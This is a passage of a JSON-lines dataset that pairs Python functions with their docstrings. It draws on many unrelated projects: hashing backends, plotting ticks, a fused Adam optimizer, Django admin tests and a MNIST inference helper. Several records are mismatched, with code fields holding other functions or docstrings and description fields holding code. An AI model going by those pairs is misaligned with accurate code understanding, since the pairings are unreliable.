backend not in hasher.backends:\n return None\n return hasher.has_backend(backend)\n\n if backend == BUILTIN:\n return True\n elif safe:\n return None\n else:\n raise exc.UnknownBackendError(hasher, backend)\n\n\n\n\n@memoize_single_value", "nl": "Test if specified backend is available for hasher.:param hasher:Hasher name or object.:param backend:Name of backend, or ``\"any\"`` if any backend will do.For hashers without multiple backends, will pretendthey have a single backend named ``\"builtin\"``.:param safe:By default, throws error if backend is unknown.If ``safe=True``, will just return false value.:raises ValueError:* if hasher name is unknown.* if backend is unknown to hasher, and safe=False.:return:True if backend available, False if not available,and None if unknown + safe=True."} {"code": "def set_view_bounds(self, view_bounds=None):\n view_bounds = view_bounds or NDC\n x0, y0, x1, y1 = view_bounds\n dx = 2 * (x1 - x0)\n dy = 2 * (y1 - y0)\n\n ((dx0, dy0), (dx1, dy1)) = self._tr.apply([\n [x0 - dx, y0 - dy],\n [x1 + dx, y1 + dy]])\n\n self.xticks = self.locx.tick_values(dx0, dx1)\n self.yticks = self.locy.tick_values(dy0, dy1)\n\n self.xticks_view, self.yticks_view = self._transform_ticks(self.xticks, self.yticks)\n\n fmt = '%.9g'\n self.xtext = [fmt % v for v in self.xticks]\n self.ytext = [fmt % v for v in self.yticks]\n\n\n\n", "nl": "Set the view bounds in normalized device coordinates. Used when panning and zooming.This method updates the following attributes:* xticks : the position of the ticks on the x axis* yticks : the position of the ticks on the y axis* xtext : the text of the ticks on the x axis* ytext : the text of the ticks on the y axis"} {"code": "def wm_positionfrom(self, who=None):\n return self.tk.call('wm', 'positionfrom', self._w, who)\n positionfrom = wm_positionfrom", "nl": "Instruct the window manager that the position of this widget shallbe defined by the user if WHO is \"user\", and by its own policy if WHO is\"program\"."} {"code": "def predict_movement(self, data, epsilon, batch_size=None, training=False):\n if batch_size is None:\n batch_size = data.shape[0]\n\n q_actions = self._model(data, training=training).numpy()\n opt_policy = np.argmax(q_actions, axis=-1)\n if epsilon > 0.:\n rand_val = np.random.random(batch_size)\n opt_policy[rand_val < epsilon] = np.random.randint(0, self._action_size, size=(np.sum(rand_val < epsilon)))\n return opt_policy, q_actions[np.arange(batch_size), opt_policy], q_actions\n", "nl": "Predict movement of game controler where is epsilon probability randomly move."} {"code": "def test_admin_page_snapshot_forbidden_for_snapshots(self):\n user = UserFactory(is_staff=True)\n self.client.login(username=user.username, password=\"password\")\n\n course = CourseFactory()\n snapshot = CourseFactory(page_parent=course.extended_object)\n\n self.add_permission(user, \"add_page\")\n self.add_permission(user, \"change_page\")\n self.add_page_permission(\n user, snapshot.extended_object, can_change=True, can_add=True\n )\n\n url = f\"/en/admin/courses/course/{snapshot.id:d}/snapshot/\"\n response = self.client.post(url, follow=True)\n\n self.assertEqual(response.status_code, 403)\n self.assertEqual(response.content, b\"You can't snapshot a snapshot.\")\n", "nl": "It should not be allowed to snapshot a course snapshot."} {"code": "def doConnectAttr(py_node, py_node_attr, other_node, other_attr, force_connect=True):\n\n try:\n other_node.connectAttr(other_attr, py_node, py_node_attr, force=force_connect)\n\n except Exception, err:\n self.LOG_SIGNAL.emit(None, QtLog.LAST_EXCEPTION_TYPE)\n\n else:\n self.LOG_SIGNAL.emit(other_node.getName() + \".\" + other_attr + \" -------> \" + py_node.getName() + \".\" + py_node_attr, QtLog.SUCCESS_TYPE)\n\n if other_nodes:\n if other_attr:\n\n is_array = False if not self._py_node.getInputAttrMap()[py_node_attr].has_key(MPyNode.ATTR_MAP_ARRAY_KEY) else True\n\n if not is_array:\n doConnectAttr(self._py_node, py_node_attr, other_nodes[0], other_attr)\n\n else:\n\n if not append:\n for i, other_node in enumerate(other_nodes):\n doConnectAttr(self._py_node, py_node_attr + \"[\" + str(i) + \"]\", other_node, other_attr, force_connect=True)\n\n else:\n array_size = self._py_node.getAttr(py_node_attr, size=True)\n\n for i, other_node in enumerate(other_nodes, array_size):\n doConnectAttr(self._py_node, py_node_attr + \"[\" + str(i) + \"]\", other_node, other_attr, force_connect=True)\n\n else:\n self.LOG_SIGNAL.emit(\"No source attribute given.\", 1)\n\n else:\n self.LOG_SIGNAL.emit(\"No source nodes given.\", 1)\n\n", "nl": "Internal function for wrapping the call to connectAttr in a try block"} {"code": "def disconnect(request):\n schema = schemas.DisconnectBodySchema(context={\"request\": request})\n if request.method != \"POST\":\n payload = {\"conn_id\": request.GET.get(\"conn_id\")}\n else:\n json_body = request.json_body\n payload = {\"conn_id\": json_body.get(\"conn_id\")}\n data = schema.load(payload)\n return operations.disconnect(conn_id=data[\"conn_id\"])\n\n\n@view_config(route_name=\"channel_config\", request_method=\"POST\", renderer=\"json\")", "nl": "Permanently remove connection from server---get:tags:- \"Client API\"summary: \"Permanently remove connection from server\"description: \"\"operationId: \"disconnect\"consumes:- \"application/json\"produces:- \"application/json\"parameters:- in: queryschema:type: stringname: \"conn_id\"description: \"Connection Id\"responses:422:description: \"Unprocessable Entity\"200:description: \"Success\"post:tags:- \"Client API\"summary: \"Permanently remove connection from server\"description: \"\"operationId: \"disconnect\"consumes:- \"application/json\"produces:- \"application/json\"parameters:- in: \"body\"name: \"body\"description: \"Request JSON body\"schema:$ref: \"#/definitions/DisconnectBody\"responses:422:description: \"Unprocessable Entity\"200:description: \"Success\""} {"code": "def datadir(self):\n return None\n\n @property", "nl": "Returns the path to the directory that contains test data filesFor VT tests, this always returns None. The reason is thatindividual VT tests do not map 1:1 to a file and do not providethe concept of a datadir."} {"code": "def test_writeUnicode(self):\n p = _pollingfile._PollableWritePipe(1, lambda: None)\n self.assertRaises(TypeError, p.write, u\"test\")\n\n", "nl": "L{_pollingfile._PollableWritePipe.write} raises a C{TypeError} if anattempt is made to append unicode data to the output buffer."} {"code": "def forward(self, f, b, mask=None):\n raw_int_fs = list(f.size())\n raw_int_bs = list(b.size())\n\n kernel = 2 * self.rate\n raw_w = extract_image_patches(b, ksizes=[kernel, kernel],\n strides=[self.rate*self.stride,\n self.rate*self.stride],\n rates=[1, 1],\n padding='same')\n raw_w = raw_w.view(raw_int_bs[0], raw_int_bs[1], kernel, kernel, -1)\n raw_w = raw_w.permute(0, 4, 1, 2, 3)\n raw_w_groups = torch.split(raw_w, 1, dim=0)\n\n f = F.interpolate(f, scale_factor=1./self.rate, mode='nearest')\n b = F.interpolate(b, scale_factor=1./self.rate, mode='nearest')\n int_fs = list(f.size())\n int_bs = list(b.size())\n f_groups = torch.split(f, 1, dim=0)\n w = extract_image_patches(b, ksizes=[self.ksize, self.ksize],\n strides=[self.stride, self.stride],\n rates=[1, 1],\n padding='same')\n w = w.view(int_bs[0], int_bs[1], self.ksize, self.ksize, -1)\n w = w.permute(0, 4, 1, 2, 3)\n w_groups = torch.split(w, 1, dim=0)\n\n if mask is None:\n mask = torch.zeros([int_bs[0], 1, int_bs[2], int_bs[3]]).to(f.device)\n else:\n mask = F.interpolate(mask, scale_factor=1./(4*self.rate), mode='nearest')\n int_ms = list(mask.size())\n m = extract_image_patches(mask, ksizes=[self.ksize, self.ksize],\n strides=[self.stride, self.stride],\n rates=[1, 1],\n padding='same')\n m = m.view(int_ms[0], int_ms[1], self.ksize, self.ksize, -1)\n m = m.permute(0, 4, 1, 2, 3)\n m = m[0]\n mm = (reduce_mean(m, axis=[1, 2, 3], keepdim=True)==0.).to(torch.float32)\n mm = mm.permute(1, 0, 2, 3)\n\n y = []\n offsets = []\n k = self.fuse_k\n scale = self.softmax_scale\n fuse_weight = torch.eye(k).view(1, 1, k, k).to(f.device)\n\n for xi, wi, raw_wi in zip(f_groups, w_groups, raw_w_groups):\n '''\n escape_NaN = torch.FloatTensor([1e-4]).to(f.device)\n wi = wi[0]\n max_wi = torch.sqrt(reduce_sum(torch.pow(wi, 2) + escape_NaN, axis=[1, 2, 3], keepdim=True))\n wi_normed = wi / max_wi\n xi = same_padding(xi, [self.ksize, self.ksize], [1, 1], [1, 1])\n yi = F.conv2d(xi, wi_normed, stride=1)\n if self.fuse:\n yi = yi.view(1, 1, int_bs[2]*int_bs[3], int_fs[2]*int_fs[3])\n yi = same_padding(yi, [k, k], [1, 1], [1, 1])\n yi = F.conv2d(yi, fuse_weight, stride=1)\n yi = yi.contiguous().view(1, int_bs[2], int_bs[3], int_fs[2], int_fs[3])\n yi = yi.permute(0, 2, 1, 4, 3)\n yi = yi.contiguous().view(1, 1, int_bs[2]*int_bs[3], int_fs[2]*int_fs[3])\n yi = same_padding(yi, [k, k], [1, 1], [1, 1])\n yi = F.conv2d(yi, fuse_weight, stride=1)\n yi = yi.contiguous().view(1, int_bs[3], int_bs[2], int_fs[3], int_fs[2])\n yi = yi.permute(0, 2, 1, 4, 3).contiguous()\n yi = yi.view(1, int_bs[2] * int_bs[3], int_fs[2], int_fs[3])\n yi = yi * mm\n yi = F.softmax(yi*scale, dim=1)\n yi = yi * mm\n\n offset = torch.argmax(yi, dim=1, keepdim=True)\n\n if int_bs != int_fs:\n times = float(int_fs[2] * int_fs[3]) / float(int_bs[2] * int_bs[3])\n offset = ((offset + 1).float() * times - 1).to(torch.int64)\n offset = torch.cat([offset//int_fs[3], offset%int_fs[3]], dim=1)\n\n wi_center = raw_wi[0]\n yi = F.conv_transpose2d(yi, wi_center, stride=self.rate, padding=1) / 4.\n y.append(yi)\n offsets.append(offset)\n\n y = torch.cat(y, dim=0)\n y.contiguous().view(raw_int_fs)\n\n offsets = torch.cat(offsets, dim=0)\n offsets = offsets.view(int_fs[0], 2, *int_fs[2:])\n\n h_add = torch.arange(int_fs[2]).view([1, 1, int_fs[2], 1]).expand(int_fs[0], -1, -1, int_fs[3])\n w_add = torch.arange(int_fs[3]).view([1, 1, 1, int_fs[3]]).expand(int_fs[0], -1, int_fs[2], -1)\n ref_coordinate = torch.cat([h_add, w_add], dim=1).to(f.device)\n\n ref_offsets = offsets - ref_coordinate\n\n flow = torch.from_numpy(flow_to_image(ref_offsets.permute(0, 2, 3, 1).cpu().data.numpy())) / 255.\n flow = flow.permute(0, 3, 1, 2).to(f.device)\n\n if self.rate != 1:\n flow = F.interpolate(flow, scale_factor=self.rate*4, mode='nearest')\n\n return y, offsets\n return y, flow\n\n", "nl": " Contextual attention layer implementation.Contextual attention is first introduced in publication:Generative Image Inpainting with Contextual Attention, Yu et al.Args:f: Input feature to match (foreground).b: Input feature for match (background).mask: Input mask for b, indicating patches not available.ksize: Kernel size for contextual attention.stride: Stride for extracting patches from b.rate: Dilation for matching.softmax_scale: Scaled softmax for attention.Returns:torch.tensor: output"} {"code": "def init():\n with lc.LogContext(_LOGGER, os.path.basename(container_dir),\n lc.ContainerAdapter) as log:\n log.info('finish (approot %s)', approot)\n tm_env = appenv.AppEnvironment(approot)\n\n param = utils.equals_list2dict(runtime_param or [])\n app_runtime.get_runtime(\n runtime, tm_env, container_dir, param\n ).finish()\n\n return finish", "nl": "Top level command handler.@click.command()@click.option('--approot', type=click.Path(exists=True),envvar='TREADMILL_APPROOT', required=True)@click.option('--runtime', envvar='TREADMILL_RUNTIME', required=True)@click.option('--runtime-param', type=cli.LIST, required=False)@click.argument('container_dir', type=click.Path(exists=True))def finish(approot, runtime, container_dir, runtime_param):Finish treadmill application on the node."} {"code": "def bytes2human(n, format=\"%(value).1f%(symbol)s\"):\n symbols = ('B', 'K', 'M', 'G', 'T', 'P', 'E', 'Z', 'Y')\n prefix = {}\n for i, s in enumerate(symbols[1:]):\n prefix[s] = 1 << (i + 1) * 10\n for symbol in reversed(symbols[1:]):\n if n >= prefix[symbol]:\n value = float(n) / prefix[symbol]\n return format % locals()\n return format % dict(symbol=symbols[0], value=n)\n\n", "nl": "Used by various scripts. See:http://goo.gl/zeJZl>>> bytes2human(10000)'9.8K'>>> bytes2human(100001221)'95.4M'"} {"code": "def _training_transforms(self, size: tuple or int):\n aug_list = [\n tf.RandomResizedCrop(opts=self.opts, size=size),\n tf.RandomHorizontalFlip(opts=self.opts),\n tf.NumpyToTensor(opts=self.opts),\n ]\n return tf.Compose(opts=self.opts, img_transforms=aug_list)\n", "nl": "Training data augmentation methods (RandomResizedCrop --> RandomHorizontalFlip --> ToTensor)."} {"code": "def pipe(self, operation: Callable[[Any], Any], args: Optional[Dict[str, Any]] = None) -> None:\n self.__operations.append({\"operation\": operation, \"args\": args})\n\n @staticmethod", "nl": "Add an operation and its arguments to pipe in the preprocessorParameters----------operation : callabletext preprocessing functionargs : dict of arguments"} {"code": "def step(self, closure=None, grads=None, output_params=None, scale=1., grad_norms=None):\n loss = None\n if closure is not None:\n loss = closure()\n\n if hasattr(self, \"_amp_stash\"):\n grads = self._amp_stash.grads\n output_params = self._amp_stash.output_params\n scale = self._amp_stash.scale*self._amp_scale_adjustment\n grad_norms = self._amp_stash.grad_norms\n\n if grads is None:\n grads_group = [None]*len(self.param_groups)\n elif isinstance(grads, types.GeneratorType):\n grads_group = [grads]\n elif type(grads[0])!=list:\n grads_group = [grads]\n else:\n grads_group = grads\n\n if output_params is None:\n output_params_group = [None]*len(self.param_groups)\n elif isinstance(output_params, types.GeneratorType):\n output_params_group = [output_params]\n elif type(output_params[0])!=list:\n output_params_group = [output_params]\n else:\n output_params_group = output_params\n\n if grad_norms is None:\n grad_norms = [None]*len(self.param_groups)\n\n for group, grads_this_group, output_params_this_group, grad_norm in zip(self.param_groups, grads_group, output_params_group, grad_norms):\n if grads_this_group is None:\n grads_this_group = [None]*len(group['params'])\n if output_params_this_group is None:\n output_params_this_group = [None]*len(group['params'])\n\n combined_scale = scale\n if group['max_grad_norm'] > 0:\n clip = ((grad_norm / scale) + 1e-6) / group['max_grad_norm']\n if clip > 1:\n combined_scale = clip * scale\n\n bias_correction = 1 if group['bias_correction'] else 0\n\n if self._use_multi_tensor:\n if output_params:\n tensorlists = [[],[],[],[],[]]\n else:\n tensorlists = [[],[],[],[]]\n tensordevice = None\n\n for p, grad, output_param in zip(group['params'], grads_this_group, output_params_this_group):\n if p.grad is None and grad is None:\n continue\n if grad is None:\n grad = p.grad.data\n if grad.is_sparse:\n raise RuntimeError('FusedAdam does not support sparse gradients, please consider SparseAdam instead')\n\n state = self.state[p]\n\n if len(state) == 0:\n state['step'] = 0\n state['exp_avg'] = torch.zeros_like(p.data)\n state['exp_avg_sq'] = torch.zeros_like(p.data)\n\n exp_avg, exp_avg_sq = state['exp_avg'], state['exp_avg_sq']\n beta1, beta2 = group['betas']\n\n state['step'] += 1\n\n out_p = torch.tensor([], dtype = torch.float) if output_param is None else output_param\n if self._use_multi_tensor:\n pl = [p.data, exp_avg, exp_avg_sq, grad]\n if output_param is not None:\n pl.append(out_p)\n\n for tl, t in zip(tensorlists, pl):\n tl.append(t)\n\n if tensordevice is None:\n tensordevice = p.device\n elif tensordevice != p.device:\n raise RuntimeError('FusedAdam does not support use_mt with tensors on multiple device')\n\n else:\n with torch.cuda.device(p.device):\n fused_adam_cuda.adam(p.data,\n out_p,\n exp_avg,\n exp_avg_sq,\n grad,\n group['lr'],\n beta1,\n beta2,\n group['eps'],\n combined_scale,\n state['step'],\n self.eps_mode,\n bias_correction,\n group['weight_decay'])\n\n if self._use_multi_tensor:\n with torch.cuda.device(tensordevice):\n multi_tensor_applier(\n fused_adam_cuda.adam_mt,\n self._overflow_buf,\n tensorlists,\n group['lr'],\n beta1,\n beta2,\n group['eps'],\n combined_scale,\n state['step'],\n self.eps_mode,\n bias_correction,\n group['weight_decay'])\n\n return loss", "nl": "Performs a single optimization step.Arguments:closure (callable, optional): A closure that reevaluates the modeland returns the loss.grads (list of tensors, optional): weight gradient to use for theoptimizer update. If gradients have type torch.half, parametersare expected to be in type torch.float. (default: None)output params (list of tensors, optional): A reduced precision copyof the updated weights written out in addition to the regularupdated weights. Have to be of same type as gradients. (default: None)scale (float, optional): factor to divide gradient tensor valuesby before applying to weights. (default: 1)"} {"code": "def filter_ips(self, filters):\n\n ips = []\n for r in self.conn.get_all_reservations(filters=filters):\n ips += [i.ip_address for i in r.instances if i.ip_address]\n\n return ips\n\n @property", "nl": "Get a list of filtered IP addresses.Args:filters (dict)Return: list"} {"code": "def _neighbors(self, v):\n assert self.layout.dag\n dirv = self.layout.dirv\n grxv = self.layout.grx[v]\n try:\n return grxv.nvs[dirv]\n except AttributeError:\n grxv.nvs = {-1: v.N(-1), +1: v.N(+1)}\n if grxv.dummy:\n return grxv.nvs[dirv]\n for d in (-1, +1):\n tr = grxv.rank + d\n for i, x in enumerate(v.N(d)):\n if self.layout.grx[x].rank == tr:\n continue\n e = v.e_with(x)\n dum = self.layout.ctrls[e][tr]\n grxv.nvs[d][i] = dum\n return grxv.nvs[dirv]\n", "nl": "neighbors refer to upper/lower adjacent nodes.Note that v.N() provides neighbors of v in the graph, whilethis method provides the Vertex and DummyVertex adjacent to v in theupper or lower layer (depending on layout.dirv state)."} {"code": "def catchup(self):\n Get a list of headlines from a this feed.\n\n :param limit: Return no more than this number of headlines. Default is\n ``0`` (unlimited, though the server limits to 60).\n :param skip: Skip this number of headlines. Useful for pagination.\n Default is ``0``.\n :param show_excerpt: Include a short excerpt of the article. Defaults\n to ``True``.\n :param show_content: Include full article content. Defaults to\n ``False``.\n :param view_mode: (string = all_articles, unread, adaptive, marked,\n updated)\n :param include_attachments: include article attachments. Defaults to\n ``False``.\n :param since_id: Only include headlines newer than ``since_id``.\n :param include_nested: Include articles from child categories.\n Defaults to ``True``.\n \"\"\"", "nl": "Mark this feed as readself._client.catchup_feed(self.id)def headlines(self, **kwargs):"} {"code": "def test(self):\n", "nl": "Test.revisions_dict = {'src/a': {'url': 'https://domain/a','rev': '2439bd08ff93d4dce761dd6b825917938bd35a4f'},'src/b': {'url': 'https://blah/b.git','rev': '2439bd08ff93d4dce761dd6b825917938bd35a4f'},'src/c/d': {'url': 'https://domain/e','rev': '1edde9d2fe203229c895b648fdec355917200ad6'}}expected_result = [{'dep_path': 'src/a','repo_url': 'https://domain/a','revision': '2439bd08ff93d4dce761dd6b825917938bd35a4f',},{'dep_path': 'src/b','repo_url': 'https://blah/b','revision': '2439bd08ff93d4dce761dd6b825917938bd35a4f',},{'dep_path': 'src/c/d','repo_url': 'https://domain/e','revision': '1edde9d2fe203229c895b648fdec355917200ad6',},]# Order is not important, but we must sort for comparison to the reference.actual_result = blame_task._format_component_revisions_for_predator(revisions_dict)actual_result = sorted(actual_result, key=lambda roll: roll['dep_path'])self.assertEqual(actual_result, expected_result)class PreparePredatorRequestBodyTest(ComponentRevisionPatchingTest):Test prepare_predator_message."} {"code": "def process(self, ch):\n self.dispatch(self.state, ch)\n\n", "nl": "Handle input.@type ch: C{str}@param ch: A single character of input to process"} {"code": "def to_array(self):\n return [{'token': tok, 'freq': self.freq_dict[tok]} for tok in self.freq_dict]\n", "nl": " Converts self.freq_dict to self.freq_list"} {"code": "def is_running(self):\n cmd = [\"machinectl\", \"--no-pager\", \"status\", self.name]\n try:\n subprocess.check_call(cmd)\n return True\n except subprocess.CalledProcessError as ex:\n logger.info(\"nspawn container %s is not running probably: %s\",\n self.name, ex.output)\n return False\n", "nl": "return True when container is running, otherwise return False:return: bool"} {"code": "def do_action(self):\n if self.current_key == self._initial_genre:\n self._album_model.remove_filter('genre')\n else:\n self._album_model.replace_filter('genre', self.current_key)\n", "nl": "called when genre popup menu item chosenreturn None if the first entry in popup returned"} {"code": "def test_getPasswordPrompt(self):\n options = ConchOptions()\n client = SSHUserAuthClient(b\"user\", options, None)\n prompt = b\"Give up your password\"\n", "nl": "Get the password usingL{twisted.conch.client.default.SSHUserAuthClient.getPassword}using a different prompt."} {"code": "def kvstore(self):\n self.namespace['owner'] = self.kvstore_owner\n return KVStoreCollections(self)\n\n @property", "nl": "Returns the collection of KV Store collections.sets the owner for the namespace, before retrieving the KVStore Collection:return: A :class:`KVStoreCollections` collection of :class:`KVStoreCollection` entities."} {"code": "def start_async_inference(self, input_image):\n inference_image = cv2.bitwise_not(input_image)\n inference_image = cv2.cvtColor(inference_image, cv2.COLOR_BGR2GRAY)\n\n h, w = inference_image.shape\n h_diff = w - h if w > h else 0\n w_diff = h - w if h > w else 0\n square_img = numpy.zeros((w + w_diff, h + h_diff), numpy.uint8)\n square_img[int(h_diff / 2): int(h_diff / 2) + h, int(w_diff / 2): int(w_diff/2) + w] = inference_image\n inference_image = square_img\n\n padding = 2\n inference_image = cv2.resize(inference_image,\n (MnistProcessor.NETWORK_IMAGE_WIDTH - padding * 2,\n MnistProcessor.NETWORK_IMAGE_HEIGHT - padding * 2),\n cv2.INTER_LINEAR)\n\n inference_image = numpy.pad(inference_image, (padding, padding), 'constant', constant_values=0)\n\n inference_image[:] = ((inference_image[:]) * (1.0 / 255.0))\n inference_image = inference_image.reshape((self._n, self._input_total_size))\n\n self._req_handle = self._exec_net.start_async(request_id=0, inputs={self._input_blob: inference_image})\n", "nl": "Start an asynchronous inference.When the inference complete the result will go to the output FIFO queue, which can then be read using theget_async_inference_result() method.If there is no room on the input queue this function will block indefinitely until there is room;when there is room, it will queue the inference and return immediately.:param input_image: the image on which to run the inference.This can be any size but is assumed to be in the OpenCV standard format of BGRBGRBGR...:return: None"} {"code": "def normalize_rewards(self) -> np.ndarray:\n the chance a given walker has of cloning. This scalar gives us a measure of how well a\n walker is solving the exploration vs exploitation problem, with respect to the other\n walkers of the Swarm.\n \"\"\"", "nl": "We also apply the relativize function to the rewardsrewards = np.array(self.rewards)return relativize_vector(rewards).astype(np.float32)def virtual_reward(self) -> np.ndarray:Calculate the virtual reward of the walkers. This quantity is used for determining"} {"code": "def infer_dtype_from_array(arr, pandas_dtype=False):\n\n if isinstance(arr, np.ndarray):\n return arr.dtype, arr\n\n if not is_list_like(arr):\n arr = [arr]\n\n if pandas_dtype and is_extension_type(arr):\n return arr.dtype, arr\n\n elif isinstance(arr, ABCSeries):\n return arr.dtype, np.asarray(arr)\n\n inferred = lib.infer_dtype(arr, skipna=False)\n if inferred in ['string', 'bytes', 'unicode',\n 'mixed', 'mixed-integer']:\n return (np.object_, arr)\n\n arr = np.asarray(arr)\n return arr.dtype, arr\n\n", "nl": "infer the dtype from a scalar or arrayParameters----------arr : scalar or arraypandas_dtype : bool, default Falsewhether to infer dtype including pandas extension types.If False, array belongs to pandas extension typesis inferred as objectReturns-------tuple (numpy-compat/pandas-compat dtype, array)Notes-----if pandas_dtype=False. these infer to numpy dtypesexactly with the exception that mixed / object dtypesare not coerced by stringifying or conversionif pandas_dtype=True. datetime64tz-aware/categoricaltypes will retain there character.Examples-------->>> np.asarray([1, '1'])array(['1', '1'], dtype='>> infer_dtype_from_array([1, '1'])(numpy.object_, [1, '1'])"} {"code": "def getargvalues(frame):\n args, varargs, varkw = getargs(frame.f_code)\n return ArgInfo(args, varargs, varkw, frame.f_locals)\n\n", "nl": "Get information about arguments passed into a particular frame.A tuple of four things is returned: (args, varargs, varkw, locals).'args' is a list of the argument names (it may contain nested lists).'varargs' and 'varkw' are the names of the * and ** arguments or None.'locals' is the locals dictionary of the given frame."} {"code": "def main():\n\n\n aflw_dir = 'original/aflw/'\n aflw_mat = 'original/aflw/dataset_landmarks_and_pose_withfaceids.mat'\n\n\n destination_dir = 'clean/aflw/'\n\n\n head_detector_path = 'models/head-detector.h5'\n\n\n in_size = 512\n out_size = 64\n confidence_threshold = 0.75\n\n\n grayscale_output = True\n downscaling_interpolation = cv2.INTER_LINEAR\n\n\n num_splits_tilt = 8\n num_splits_pan = 8\n\n\n test_ratio = 0.2\n validation_ratio = 0.2\n\n\n detector = ssd_512(image_size=(in_size, in_size, 3), n_classes=1, min_scale=0.1, max_scale=1, mode='inference')\n detector.load_weights(head_detector_path)\n\n\n try:\n os.mkdir(destination_dir)\n print(\"Directory\", destination_dir, \"created.\")\n except FileExistsError:\n print(\"Directory\", destination_dir, \"already exists.\")\n shutil.rmtree(destination_dir)\n os.mkdir(destination_dir)\n\n\n clean_aflw(aflw_dir, aflw_mat, destination_dir, detector, confidence_threshold, out_size, grayscale_output, downscaling_interpolation)\n\n\n class_assign(destination_dir, num_splits_tilt, num_splits_pan)\n\n\n split_dataset(destination_dir, test_ratio, validation_ratio)\n\n\n find_norm_parameters(destination_dir)\n\n\n store_dataset_arrays(destination_dir)\n\nif __name__ == \"__main__\":\n main()", "nl": "This function acts as a testbench for the function clean_aflw, using it to perform the basic processing of the AFLWdataset from a set of default values defined below."} {"code": "def setup_class(self):\n pass\n", "nl": "Setup any state specific to the execution of the given class(which usually contains tests).:return:"} {"code": "def lighting(img, alphastd, eigval, eigvec):\n if alphastd == 0:\n return img\n alpha = np.random.normal(0, alphastd, size=(1, 3))\n eig_vec = np.array(eigvec)\n eig_val = np.reshape(eigval, (1, 3))\n rgb = np.sum(\n eig_vec * np.repeat(alpha, 3, axis=0) * np.repeat(eig_val, 3, axis=0),\n axis=1,\n )\n for idx in range(img.shape[0]):\n img[idx] = img[idx] + rgb[2 - idx]\n return img\n\n", "nl": "Perform AlexNet-style PCA jitter on the given image.Args:image (array): list of images to perform lighting jitter.alphastd (float): jitter ratio for PCA jitter.eigval (array): eigenvalues for PCA jitter.eigvec (list): eigenvectors for PCA jitter.Returns:img (tensor): the jittered image."} {"code": "def SuppressOutput(): # noqa\n with os.fdopen(os.dup(1), 'wb', 0) as tmp_stdout:\n with os.fdopen(os.dup(2), 'wb', 0) as tmp_stderr:\n with open(os.devnull, 'wb') as to_file:\n sys.stdout.flush()\n sys.stderr.flush()\n os.dup2(to_file.fileno(), 1)\n os.dup2(to_file.fileno(), 2)\n try:\n yield\n finally:\n sys.stdout.flush()\n sys.stderr.flush()\n os.dup2(tmp_stdout.fileno(), 1)\n os.dup2(tmp_stderr.fileno(), 2)\n sys.stdout = sys.__stdout__\n sys.stderr = sys.__stderr__\n\n\n@contextlib.contextmanager", "nl": "A context manager that suppresses output to stdout/stderr.Always use with \"with\" statement. Does nothing otherwise.>>> with SuppressOutput(): # doctest: +SKIP... os.system('echo \"mystdout\"')... os.system('echo \"mystderr\" >&2')Note: Does not work reliably for Windows Python 3.6 under Windows - seefunction definition of _py36_windowsconsoleio_workaround()."} {"code": "def set_last(self, num_pages):\n self.max_page_number = num_pages\n self.label_last.set_text(('/{})' if self.page_labels else '/{}').format(num_pages))\n self.spin_cur.set_range(1, num_pages)\n self.spin_cur.set_max_length(len(str(num_pages)) + 1)\n\n", "nl": " Set the max number of pages, both on display and as the range of values for the spinner.Args:num_pages (`int`): The maximum page number"} {"code": "def authenticate(self, secret):\n if self._capCache is None:\n d = self.getCapabilities()\n else:", "nl": "Attempt to enter the authenticated state with the serverThis command is allowed in the Non-Authenticated state.@rtype: C{Deferred}@return: A deferred whose callback is invoked if the authenticationsucceeds and whose errback will be invoked otherwise."} {"code": "def test_thorough_parse(self):\n pd = SAX2DOMTestHelper(None, SAXExerciser(), 12)\n self._test_thorough(pd)\n", "nl": "Test some of the hard-to-reach parts of PullDOM.self._test_thorough(pulldom.parse(None, parser=SAXExerciser()))@unittest.expectedFailuredef test_sax2dom_fail(self):SAX2DOM can\"t handle a PI before the root element."} {"code": "def test_forwarding_pdb(qidoc_action):\n qidoc_action.add_test_project(\"libworld\")\n qidoc_action.add_test_project(\"templates\")\n world_breathe = qidoc_action.add_test_project(\"world-breathe\")\n qidoc_action(\"build\", \"world-breathe\")\n index_html = os.path.join(world_breathe.html_dir, \"index.html\")\n if six.PY3:\n with open(index_html, \"r\", encoding='utf-8') as fp:\n assert \"the answer\" in fp.read()\n else:\n with open(index_html, \"r\") as fp:\n assert \"the answer\" in fp.read().decode(\"utf-8\")\n\n", "nl": " Test Forwarding Pdb qidoc_action.add_test_project(\"world\")with mock.patch(\"sphinx.main\") as mock_main:mock_main.return_value = 0qidoc_action(\"build\", \"world\", \"--pdb\")kwargs = mock_main.call_args[1]assert \"-P\" in kwargs[\"argv\"]def test_breathe(qidoc_action): Test Breathe "} {"code": "def test_is_transaction_settled(self):\n with mock.patch(\n \"aea_ledger_cosmos.CosmosApi.is_transaction_valid\", return_value=True,\n ):\n is_valid = self.ledger_apis.is_transaction_valid(\n identifier=CosmosCrypto.identifier,\n tx=\"tx\",\n seller=\"seller\",\n client=\"client\",\n tx_nonce=\"tx_nonce\",\n amount=10,\n )\n assert is_valid\n", "nl": "Test the is_transaction_settled.with mock.patch(\"aea_ledger_cosmos.CosmosApi.is_transaction_settled\", return_value=True,):is_settled = self.ledger_apis.is_transaction_settled(identifier=CosmosCrypto.identifier, tx_receipt=\"tx_receipt\",)assert is_settleddef test_is_transaction_valid(self):Test the is_transaction_valid."} {"code": "def regex(self):\n assert isinstance(val, str) or isinstance(val, int)\n assert isinstance(strict, bool)\n assert isinstance(stdlib, bool)\n assert isinstance(debug, int)\n\n try:\n IPv4Network(val, strict=False)\n\n obj = IPv4Obj(val)\n if stdlib is False:\n return obj\n else:\n if obj.prefixlen == IPV4_MAX_PREFIXLEN:\n assert isinstance(obj.ip, IPv4Address)\n return obj.ip\n else:\n assert isinstance(obj.network, IPv4Network)\n return obj.network\n except Exception as ee:\n raise AddressValueError(\"_get_ipv4(val='%s')\" % (val))\n\n", "nl": "return r%s % self.regex_str@regex.setterdef regex(self, regex_str):assert isinstance(regex_str, str)self.regex_str = regex_strself.compiled = re.compile(regex_str)self.attempted_search = Falsedef s(self, target_str):assert self.attempted_search is Falseassert isinstance(target_str, str)self.attempted_search = Trueself.search_result = self.compiled.search(target_str)if isinstance(self.search_result, re.Match):match_groups = self.search_result.groups()if len(match_groups) > 0:return match_groupselse:# Return the whole string if there are no match groupsreturn target_strelse:return None@propertydef result(self):raise NotImplementedError()@propertydef captured(self):rv_groups = list()rv_groupdict = dict()if (self.attempted_search is True) and (self.search_result is None):error = (\".search(r'%s') was attempted but the regex ('%s') did not capture anything\"% (self.target_str, self.regex))logger.warning(error)elif (self.attempted_search is True) and (isinstance(self.search_result, re.Match) is True):# rv_groups should be a list of capture grouprv_groups = list(self.search_result.groups())# rv_groupdict should be a dictionary 